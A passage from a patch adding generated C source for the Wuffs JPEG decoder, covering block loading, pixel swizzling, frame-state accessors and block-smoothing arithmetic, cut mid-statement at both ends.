wuffs_base__u32__sat_sub(v_scan_height_in_mcus, 1u); -+ } else { -+ self->private_impl.choosy_load_mcu_blocks_for_single_component = ( -+ &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default); -+ } -+ v_my = 0u; -+ while (v_my < v_scan_height_in_mcus) { -+ v_mx = 0u; -+ while (v_mx < v_scan_width_in_mcus) { -+ wuffs_jpeg__decoder__load_mcu_blocks_for_single_component(self, -+ v_mx, -+ v_my, -+ a_workbuf, -+ v_csel); -+ v_stride = ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])); -+ v_offset = (self->private_impl.f_components_workbuf_offsets[v_csel] + (((uint64_t)(v_mcu_blocks_mx_mul_0)) * ((uint64_t)(v_mx))) + (((uint64_t)(v_mcu_blocks_my_mul_0)) * ((uint64_t)(v_my)))); -+ if (v_offset <= ((uint64_t)(a_workbuf.len))) { -+ wuffs_jpeg__decoder__decode_idct(self, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset), v_stride, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); -+ } -+ v_mx += 1u; -+ } -+ v_my += 1u; -+ } -+ v_csel += 1u; -+ } -+ wuffs_private_impl__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__make_slice_u8(v_stashed_mcu_blocks_0, 128)); -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func jpeg.decoder.swizzle_gray -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__swizzle_gray( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_x0, -+ uint32_t a_x1, -+ uint32_t a_y0, -+ uint32_t a_y1, -+ uint64_t a_stride) { -+ wuffs_base__pixel_format v_dst_pixfmt = {0}; -+ uint32_t v_dst_bits_per_pixel = 0; -+ uint32_t v_dst_bytes_per_pixel = 0; -+ uint64_t v_x0 = 0; -+ uint64_t v_x1 = 0; -+ wuffs_base__table_u8 v_tab = {0}; -+ wuffs_base__slice_u8 v_dst = {0}; -+ uint32_t v_y = 0; -+ uint32_t v_y1 = 0; -+ -+ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -+ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -+ if ((v_dst_bits_per_pixel & 7u) != 0u) { -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ } -+ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); -+ v_x0 = ((uint64_t)((v_dst_bytes_per_pixel * wuffs_base__u32__min(a_x0, self->private_impl.f_width)))); -+ v_x1 = ((uint64_t)((v_dst_bytes_per_pixel * wuffs_base__u32__min(a_x1, self->private_impl.f_width)))); -+ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -+ v_y = a_y0; -+ v_y1 = wuffs_base__u32__min(a_y1, self->private_impl.f_height); -+ while (v_y < v_y1) { -+ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_y); -+ if (v_x1 < ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_x1); -+ } -+ if (v_x0 < ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_x0); -+ } else { -+ v_dst = wuffs_base__utility__empty_slice_u8(); -+ } -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), a_workbuf); -+ if (a_stride <= ((uint64_t)(a_workbuf.len))) { -+ a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, a_stride); -+ } else { -+ a_workbuf = wuffs_base__utility__empty_slice_u8(); -+ } -+ v_y += 1u; -+ } -+ return wuffs_base__make_status(NULL); -+} -+ -+// -------- func jpeg.decoder.swizzle_colorful -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__swizzle_colorful( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_x0, -+ uint32_t a_x1, -+ uint32_t a_y0, -+ uint32_t a_y1) { -+ uint64_t v_i = 0; -+ uint64_t v_j = 0; -+ wuffs_base__slice_u8 v_src0 = {0}; -+ wuffs_base__slice_u8 v_src1 = {0}; -+ wuffs_base__slice_u8 v_src2 = {0}; -+ wuffs_base__slice_u8 v_src3 = {0}; -+ uint32_t v_width0 = 0; -+ uint32_t v_width1 = 0; -+ uint32_t v_width2 = 0; -+ uint32_t v_width3 = 0; -+ uint32_t v_height0 = 0; -+ uint32_t v_height1 = 0; -+ uint32_t v_height2 = 0; -+ uint32_t v_height3 = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ if (self->private_impl.f_swizzle_immediately) { -+ v_i = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[0u])); -+ v_j = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[1u])); -+ if ((v_i <= v_j) && (v_j <= 640u)) { -+ v_src0 = wuffs_base__make_slice_u8_ij(self->private_data.f_swizzle_immediately_buffer, v_i, v_j); -+ v_width0 = (8u * ((uint32_t)(self->private_impl.f_components_h[0u]))); -+ v_height0 = (8u * ((uint32_t)(self->private_impl.f_components_v[0u]))); -+ } -+ v_i = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[1u])); -+ v_j = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[2u])); -+ if ((v_i <= v_j) && (v_j <= 640u)) { -+ v_src1 = wuffs_base__make_slice_u8_ij(self->private_data.f_swizzle_immediately_buffer, v_i, v_j); -+ v_width1 = (8u * ((uint32_t)(self->private_impl.f_components_h[1u]))); -+ v_height1 = (8u * ((uint32_t)(self->private_impl.f_components_v[1u]))); -+ } -+ v_i = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[2u])); -+ v_j = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[3u])); -+ if ((v_i <= v_j) && (v_j <= 640u)) { -+ v_src2 = wuffs_base__make_slice_u8_ij(self->private_data.f_swizzle_immediately_buffer, v_i, v_j); -+ v_width2 = (8u * ((uint32_t)(self->private_impl.f_components_h[2u]))); -+ v_height2 = (8u * ((uint32_t)(self->private_impl.f_components_v[2u]))); -+ } -+ v_i = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[3u])); -+ v_j = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[4u])); -+ if ((v_i <= v_j) && (v_j <= 640u)) { -+ v_src3 = wuffs_base__make_slice_u8_ij(self->private_data.f_swizzle_immediately_buffer, v_i, v_j); -+ v_width3 = (8u * ((uint32_t)(self->private_impl.f_components_h[3u]))); -+ v_height3 = (8u * ((uint32_t)(self->private_impl.f_components_v[3u]))); -+ } -+ } else { -+ if ((self->private_impl.f_components_workbuf_offsets[0u] <= self->private_impl.f_components_workbuf_offsets[1u]) && (self->private_impl.f_components_workbuf_offsets[1u] <= ((uint64_t)(a_workbuf.len)))) { -+ v_src0 = wuffs_base__slice_u8__subslice_ij(a_workbuf, -+ self->private_impl.f_components_workbuf_offsets[0u], -+ self->private_impl.f_components_workbuf_offsets[1u]); -+ v_width0 = self->private_impl.f_components_workbuf_widths[0u]; -+ v_height0 = self->private_impl.f_components_workbuf_heights[0u]; -+ } -+ if ((self->private_impl.f_components_workbuf_offsets[1u] <= self->private_impl.f_components_workbuf_offsets[2u]) && (self->private_impl.f_components_workbuf_offsets[2u] <= ((uint64_t)(a_workbuf.len)))) { -+ v_src1 = wuffs_base__slice_u8__subslice_ij(a_workbuf, -+ self->private_impl.f_components_workbuf_offsets[1u], -+ self->private_impl.f_components_workbuf_offsets[2u]); -+ v_width1 = self->private_impl.f_components_workbuf_widths[1u]; -+ v_height1 = self->private_impl.f_components_workbuf_heights[1u]; -+ } -+ if ((self->private_impl.f_components_workbuf_offsets[2u] <= self->private_impl.f_components_workbuf_offsets[3u]) && (self->private_impl.f_components_workbuf_offsets[3u] <= ((uint64_t)(a_workbuf.len)))) { -+ v_src2 = wuffs_base__slice_u8__subslice_ij(a_workbuf, -+ self->private_impl.f_components_workbuf_offsets[2u], -+ self->private_impl.f_components_workbuf_offsets[3u]); -+ v_width2 = self->private_impl.f_components_workbuf_widths[2u]; -+ v_height2 = self->private_impl.f_components_workbuf_heights[2u]; -+ } -+ if ((self->private_impl.f_components_workbuf_offsets[3u] <= self->private_impl.f_components_workbuf_offsets[4u]) && (self->private_impl.f_components_workbuf_offsets[4u] <= ((uint64_t)(a_workbuf.len)))) { -+ v_src3 = wuffs_base__slice_u8__subslice_ij(a_workbuf, -+ self->private_impl.f_components_workbuf_offsets[3u], -+ self->private_impl.f_components_workbuf_offsets[4u]); -+ v_width3 = self->private_impl.f_components_workbuf_widths[3u]; -+ v_height3 = self->private_impl.f_components_workbuf_heights[3u]; -+ } -+ } -+ v_status = wuffs_base__pixel_swizzler__swizzle_ycck(&self->private_impl.f_swizzler, -+ a_dst, -+ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), -+ (a_x0 & 65535u), -+ wuffs_base__u32__min(a_x1, self->private_impl.f_width), -+ (a_y0 & 65535u), -+ wuffs_base__u32__min(a_y1, self->private_impl.f_height), -+ v_src0, -+ v_src1, -+ v_src2, -+ v_src3, -+ v_width0, -+ v_width1, -+ v_width2, -+ v_width3, -+ v_height0, -+ v_height1, -+ v_height2, -+ v_height3, -+ v_width0, -+ v_width1, -+ v_width2, -+ v_width3, -+ self->private_impl.f_components_h[0u], -+ self->private_impl.f_components_h[1u], -+ self->private_impl.f_components_h[2u], -+ self->private_impl.f_components_h[3u], -+ self->private_impl.f_components_v[0u], -+ self->private_impl.f_components_v[1u], -+ self->private_impl.f_components_v[2u], -+ self->private_impl.f_components_v[3u], -+ self->private_impl.f_is_rgb_or_cmyk, -+ ! self->private_impl.f_use_lower_quality, -+ wuffs_base__make_slice_u8(self->private_data.f_swizzle_ycck_scratch_buffer_2k, 2048)); -+ return wuffs_private_impl__status__ensure_not_a_suspension(v_status); -+} -+ -+// -------- func jpeg.decoder.frame_dirty_rect -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 -+wuffs_jpeg__decoder__frame_dirty_rect( -+ const wuffs_jpeg__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_rect_ie_u32(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_rect_ie_u32(); -+ } -+ -+ return wuffs_base__utility__make_rect_ie_u32( -+ 0u, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height); -+} -+ -+// -------- func jpeg.decoder.num_animation_loops -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_jpeg__decoder__num_animation_loops( -+ const wuffs_jpeg__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ return 0u; -+} -+ -+// -------- func jpeg.decoder.num_decoded_frame_configs -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_jpeg__decoder__num_decoded_frame_configs( -+ const wuffs_jpeg__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ if (self->private_impl.f_call_sequence > 32u) { -+ return 1u; -+ } -+ return 0u; -+} -+ -+// -------- func jpeg.decoder.num_decoded_frames -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_jpeg__decoder__num_decoded_frames( -+ const wuffs_jpeg__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ if (self->private_impl.f_call_sequence > 64u) { -+ return 1u; -+ } -+ return 0u; -+} -+ -+// -------- func jpeg.decoder.restart_frame -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_jpeg__decoder__restart_frame( -+ wuffs_jpeg__decoder* self, -+ uint64_t a_index, -+ uint64_t a_io_position) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ uint32_t v_i = 0; -+ uint32_t v_j = 0; -+ -+ if (self->private_impl.f_call_sequence < 32u) { -+ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ } -+ if (a_index != 0u) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ self->private_impl.f_call_sequence = 40u; -+ self->private_impl.f_bitstream_is_closed = false; -+ self->private_impl.f_expect_multiple_scans = false; -+ self->private_impl.f_frame_config_io_position = a_io_position; -+ self->private_impl.f_scan_count = 0u; -+ self->private_impl.f_restart_interval = self->private_impl.f_saved_restart_interval; -+ v_i = 0u; -+ while (v_i < 4u) { -+ self->private_impl.f_seen_dqt[v_i] = self->private_impl.f_saved_seen_dqt[v_i]; -+ v_j = 0u; -+ while (v_j < 64u) { -+ self->private_impl.f_quant_tables[v_i][v_j] = self->private_impl.f_saved_quant_tables[v_i][v_j]; -+ v_j += 1u; -+ } -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 4u) { -+ v_j = 0u; -+ while (v_j < 10u) { -+ self->private_impl.f_block_smoothing_lowest_scan_al[v_i][v_j] = 16u; -+ v_j += 1u; -+ } -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 8u) { -+ self->private_impl.f_seen_dht[v_i] = false; -+ v_i += 1u; -+ } -+ return wuffs_base__make_status(NULL); -+} -+ -+// -------- func jpeg.decoder.set_report_metadata -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_jpeg__decoder__set_report_metadata( -+ wuffs_jpeg__decoder* self, -+ uint32_t a_fourcc, -+ bool a_report) { -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func jpeg.decoder.tell_me_more -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_jpeg__decoder__tell_me_more( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 4)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ status = wuffs_base__make_status(wuffs_base__error__no_more_information); -+ goto exit; -+ -+ goto ok; -+ ok: -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func jpeg.decoder.workbuf_len -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_jpeg__decoder__workbuf_len( -+ const wuffs_jpeg__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ -+ if (self->private_impl.f_use_lower_quality && (self->private_impl.f_sof_marker < 194u)) { -+ return wuffs_base__utility__make_range_ii_u64(0u, self->private_impl.f_components_workbuf_offsets[8u]); -+ } -+ return wuffs_base__utility__make_range_ii_u64(self->private_impl.f_components_workbuf_offsets[8u], self->private_impl.f_components_workbuf_offsets[8u]); -+} -+ -+// -------- func jpeg.decoder.top_left_quants_has_zero -+ -+WUFFS_BASE__GENERATED_C_CODE -+static bool -+wuffs_jpeg__decoder__top_left_quants_has_zero( -+ const wuffs_jpeg__decoder* self, -+ uint32_t a_q) { -+ return ((self->private_impl.f_quant_tables[a_q][0u] == 0u) || -+ (self->private_impl.f_quant_tables[a_q][1u] == 0u) || -+ (self->private_impl.f_quant_tables[a_q][2u] == 0u) || -+ (self->private_impl.f_quant_tables[a_q][3u] == 0u) || -+ (self->private_impl.f_quant_tables[a_q][8u] == 0u) || -+ (self->private_impl.f_quant_tables[a_q][9u] == 0u) || -+ (self->private_impl.f_quant_tables[a_q][10u] == 0u) || -+ (self->private_impl.f_quant_tables[a_q][16u] == 0u) || -+ (self->private_impl.f_quant_tables[a_q][17u] == 0u) || -+ (self->private_impl.f_quant_tables[a_q][24u] == 0u)); -+} -+ -+// -------- func jpeg.decoder.load_mcu_blocks_for_single_component_smooth -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth( -+ wuffs_jpeg__decoder* self, -+ uint32_t a_mx, -+ uint32_t a_my, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_csel) { -+ uint64_t v_stride16 = 0; -+ uint64_t v_offset = 0; -+ uint32_t v_dx = 0; -+ uint32_t v_dy = 0; -+ uint32_t v_mx = 0; -+ uint32_t v_my = 0; -+ uint8_t v_q = 0; -+ uint32_t v_q_00 = 0; -+ uint32_t v_q_xy = 0; -+ uint8_t v_al = 0; -+ uint32_t v_scratch = 0; -+ uint32_t v_limit = 0; -+ -+ v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[a_csel] * 16u))); -+ v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(a_mx)) * 128u) + (((uint64_t)(a_my)) * v_stride16)); -+ if (v_offset <= ((uint64_t)(a_workbuf.len))) { -+ wuffs_private_impl__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); -+ } -+ v_dy = 0u; -+ while (v_dy < 5u) { -+ v_my = wuffs_base__u32__min(self->private_impl.f_block_smoothing_my_max_incl, wuffs_base__u32__sat_sub((a_my + v_dy), 2u)); -+ v_dx = 0u; -+ while (v_dx < 5u) { -+ v_mx = wuffs_base__u32__min(self->private_impl.f_block_smoothing_mx_max_incl, wuffs_base__u32__sat_sub((a_mx + v_dx), 2u)); -+ v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(v_mx)) * 128u) + (((uint64_t)(v_my)) * v_stride16)); -+ if (v_offset <= ((uint64_t)(a_workbuf.len))) { -+ wuffs_private_impl__bulk_load_host_endian(&self->private_impl.f_block_smoothing_dc_values[v_dy][v_dx], 1u * (size_t)2u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); -+ } -+ v_dx += 1u; -+ } -+ v_dy += 1u; -+ } -+ v_q = self->private_impl.f_components_tq[a_csel]; -+ v_q_00 = ((uint32_t)(self->private_impl.f_quant_tables[v_q][0u])); -+ if (v_q_00 <= 0u) { -+ return wuffs_base__make_empty_struct(); -+ } -+ if (0u != (16u & -+ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][1u] & -+ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][2u] & -+ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][3u] & -+ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][4u] & -+ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][5u] & -+ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][6u] & -+ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][7u] & -+ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][8u] & -+ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][9u])) { -+ v_scratch = 0u; -+ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -+ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -+ v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -+ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -+ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -+ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -+ v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -+ v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -+ v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -+ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -+ v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -+ v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -+ v_scratch += ((uint32_t)(152u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -+ v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -+ v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -+ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -+ v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -+ v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -+ v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -+ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -+ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -+ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -+ v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -+ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -+ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -+ if (v_scratch < 2147483648u) { -+ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + 128u)) / 256u))); -+ } else { -+ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + 128u)) / 256u))); -+ } -+ self->private_data.f_mcu_blocks[0u][0u] = ((uint16_t)(v_scratch)); -+ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][1u])); -+ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][1u] == 0u)) { -+ v_scratch = 0u; -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -+ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -+ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -+ v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -+ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -+ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -+ v_scratch += ((uint32_t)(38u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -+ v_scratch += ((uint32_t)(4294967258u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -+ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -+ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -+ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -+ v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -+ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -+ v_scratch *= v_q_00; -+ if (v_scratch < 2147483648u) { -+ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy 